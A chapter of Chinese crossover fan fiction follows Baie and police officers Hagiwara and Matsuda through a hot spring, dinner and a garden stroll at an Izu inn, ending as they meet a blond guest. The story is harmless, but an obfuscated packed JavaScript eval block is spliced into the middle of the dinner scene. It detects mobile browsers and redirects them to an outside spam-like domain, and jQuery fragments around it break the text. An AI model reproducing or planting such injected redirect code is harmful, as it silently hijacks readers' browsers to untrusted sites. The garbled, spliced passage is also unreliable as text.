回到旅店时，月亮都已经挂在了天幕上。
一进房间，萩原研二就直接瘫倒在床上，一副累极了的模样。他长叹一声：“啊——终于回来了。”
白厄和松田阵平也相继走进房间，各自找了个位置坐下。一天的游玩让他们都显得有些疲惫，但脸上却依然挂着满足的微笑。
“今天玩得真开心啊。”白厄轻轻揉着腿，回味着海边的美好时光。
“是啊，没想到伊豆的海这么美。”松田阵平附和道，他摘下墨镜，活动了一下手臂，
萩原研二叹完，又坐起来，将相机好好地放回了行李箱里：“等我们回去我就把照片给洗出来——合照咱们一人一张~”
说到照片，松田阵平突然想起了什么：“对了，hagi，你不是说千速姐总拿她的海景照片来炫耀吗？这次你可有的炫耀了。”
萩原研二闻言，眼睛一亮：“小阵平提醒我了~等下次回家我就把这些照片贴得满墙都是，让她好好地羡慕我一下！”
白厄闻言，也不由得笑了：“萩原警官到时候也可以和姐姐一起分享旅游见闻呀。”
萩原研二嘿嘿一笑，眼中闪过一丝狡黠：“你说得对，小白厄。我还可以跟她讲讲我们这次遇到的趣事，比如有个帅气的小伙儿在海边穿泳装都会害羞什么的。”说着，他还故意朝白厄眨了眨眼。
白厄一听，脸颊瞬间红了起来，连忙双手合十做求饶状：“萩原警官，就放我一马吧。”
对于这两个幼稚家伙的嬉闹松田阵平一向当作没听见，他专心地看起放在床头柜上的菜单：“差不多也该吃饭了吧？你们有什么想吃的？西餐？日料？中华料理？这里的菜品挺齐全的。或者还是先去泡温泉？”
“要不先去泡温泉？”萩原研二提议，“玩了一天出了一身汗，有点想先洗个澡再泡一泡——再说了，吃完饭泡澡不是对胃不好吗。”
“你呢，白厄？”松田阵平又问。
“我都可以......”
“那先去泡温泉吧。”松田阵平合上菜单，顺手放回床头柜上，“我们可以先预定好晚餐，泡完就可以直接去吃，节约时间。”
“吃完还可以在庭院里逛一逛，消消食。”萩原研二语气轻快，“那我们现在就出门吧——”
于是，没在房间里呆多久，三人便再次回到了大厅，向服务生预定好了餐厅座位和餐品之后便跟着引路人员朝着温泉的方向走去。
引路人员带他们来到了淋浴区的门口，微微鞠躬：“在这里淋浴完毕之后，从出口出去就是诸位的温泉区域。浴衣和浴袍旅店均有提供，客人可以随意取用。”再确认三人没有别的要求之后，引路人员便按照原路返回了。
白厄冲洗之余还用提供的沐浴露给自己好好搓了一遍——拜托，没有人能在洗澡的时候拒绝将自己弄得香喷喷的吧？至少他不能。
穿好浴袍，白厄走出淋浴间，萩原研二和松田阵平已经在等他了。
“小白厄出来啦。”萩原研二看上去十分兴奋，“那我们赶快去温泉那里吧，我要等不及了——”
夜晚的温泉区显得格外宁静，只有远处偶尔传来些许微弱的虫鸣声，别添一分风味。温泉的水汽蒸腾而上，与凉爽的夜风交织在一起，带来一种轻盈的舒适感。
三人按照引路人员先前的话，从出口出去，穿过曲折的走廊，便来到了开阔的露天温泉区。温泉池水清澈见底，在月光的照耀下泛着淡淡的银光。温泉四周点缀着几盏柔和的灯光，营造出一种温馨而轻松的氛围。
“哇，这里真不错！”萩原研二环顾四周，忍不住赞叹道。他率先脱下木屐，小心翼翼地踏入温泉池中，随即发出一声满足的叹息。
松田阵平和白厄也相继入池，三人坐在温泉中，享受着这份难得的宁静与放松。温泉的水温恰到好处，既不会让人感到过热，又能有效地缓解一天的疲惫。
蒸腾的水汽让白厄的思维都开始模糊起来。
上次像这样泡在浴池里是什么时候呢？白厄迷迷糊糊地想。好像已经是很久很久以前了吧？自从伙伴因为逐火一个一个离开，他原本每天泡两次澡的行程也渐渐没办法落实了，往往是草草冲洗一番了事。毕竟在那种情况下，白厄真的没有心情去享受什么悠闲时光了。
而现在，在这个完全陌生的世界，他再次感受到了当初那久违的宁静与放松。白厄闭上眼睛，任由温热的水流包裹着自己，而所有的烦恼仿佛都随着上升的水汽一起消散了。
“泡上你心心念念的温泉了，不发表一下感言吗，hagi？”松田阵平的声音打破了寂静。
“当然是太棒了！”萩原研二毫不犹豫地回答，“感觉全身的疲惫都消失了，而且这里的温泉水质也很好，对皮肤也有好处呢。”
“是吗？。”松田阵平说着，笑了一声，“这么爱美吗？”
“形象管理也是相当重要的一环吧！”萩原研二哼哼道，“小阵平可不能白白浪费了自己的池面脸呀。”
“你又不是小姑娘——白厄你可别跟他学.......算了，你也是个冲几分钟淋浴也要打泡泡的人。”松田阵平又往下缩了一点，只露出一个头在水面上。
白厄听着他们的对话，嘴角不禁勾起了一抹微笑。
他很喜欢这种和朋友一起放松的感觉。虽然他们来自不同的世界，有着不同的身份和经历，但在这一刻，他们都只是普通的游客，享受着难得的休闲时光。
在温泉中泡了许久，三人终于起身，在淋浴室换好衣服，朝着预定的餐厅走去。
预定的晚餐已经全部准备完毕。大阪烧、天津饭、烤猪肋排、牛排.......预定的餐品相当精致，每一道菜都散发着诱人的香气。三人围坐在餐桌旁，开始享受这顿晚餐。
“这个大阪烧味道不错嘛。”萩原研二夹起一块大阪烧，满足地咬了一口。
“猪肋排和烤芦笋也不错。”松田阵平也点点头。
白厄尝了一口自己选的天津饭，蟹肉和
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046954|178985||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
鸡蛋的香味在口中蔓延开来，让他满足地闭上了眼睛。
唔，味道真好啊，就是分量实在是太少了一点。白厄心想。不过似乎这里比较高档的餐厅似乎都是这样，摆盘很美，分量却少，不会吃不饱吗？
算了，到时候再点一份吧。
于是，在萩原研二和松田阵平震惊的目光中，白厄吃掉了整整三碗饭和四根肋排。
“果然还是在长身体吧？”萩原研二悄悄对松田阵平说。
“或、或许吧。”松田阵平看着埋头干饭的白厄，“我们下次聚餐选个分量再大一点的餐厅吧。”
“嗯！”
其乐融融（？）地吃完晚饭后，按照原来的计划，他们决定在庭院里逛一逛，消消食。
作为一个建在国立公园里的温泉旅馆，它夜晚的庭院静谧而美丽，柔和的灯光点缀在草木之间，营造出一种温馨而浪漫的氛围。他们漫步在庭院的小径上，欣赏着周围的景色。
月光如水，洒在庭院的花草树木上，为它们披上了一层银纱。偶尔有夜风拂过，细微的“沙沙”声就像白噪音，让人心旷神怡。
“今天真是一个美好的日子。”白厄道，“等下次警官先生们有时间，我们再出去旅游吧，我请客。”
“年轻人，要学会攒钱。”松田阵平用手肘碰了碰白厄，“我和hagi出去玩的钱，哼，那还是很多的。”
“下次可能要新年的时候了。”萩原研二算了算时间，“警察厅在下半年事务会变得多起来。不过也好，等新年的时候我们可以一起去神社，还可以去看樱花。”
请客的话题就这样轻飘飘地揭过去了，松田阵平和萩原研二开始讨论着新年假期可以去的地方，白厄认真地倾听着，时间就这样渐渐地流逝。
转了一圈，三人回到了大厅。
“......我预定的房号是.......”
刚进入大厅，白厄就看见一位金色头发的客人站在前台办理入住。他抬起手看了看手表——已经12点了：“这么晚了，还有游客来啊。不过这位外国的朋友日语真好呢，口音比我的还轻呢。”
说完话有一会儿，身边的两位友人都没有出声，这让白厄有些奇怪，他左右看了看，发现两位警官先生的表情都变得有些微妙。
“萩原警官，松田警官，你们怎么了？”白厄关切地问，“你们，认识那位客人吗？”
“啊，没有啦。”萩原研二笑着摆摆手，“只是有些惊讶，毕竟日语这样好的外国人真的很少见，不是吗？”
虽然话是这么说，但是白厄还是感觉萩原研二有些奇怪，一直一言不发的松田阵平也是。不过作为一个合格的朋友，既然友人们不愿意说，他自然不会刨根问底。于是他点点头：“那我们回房间吧，时间也不早了，早点休息，明天下午就要回东京了。”
也正是在这时，那位办理入住的金发客人办完了手续转过身来，视线直直地和三人对上。
金发客人：......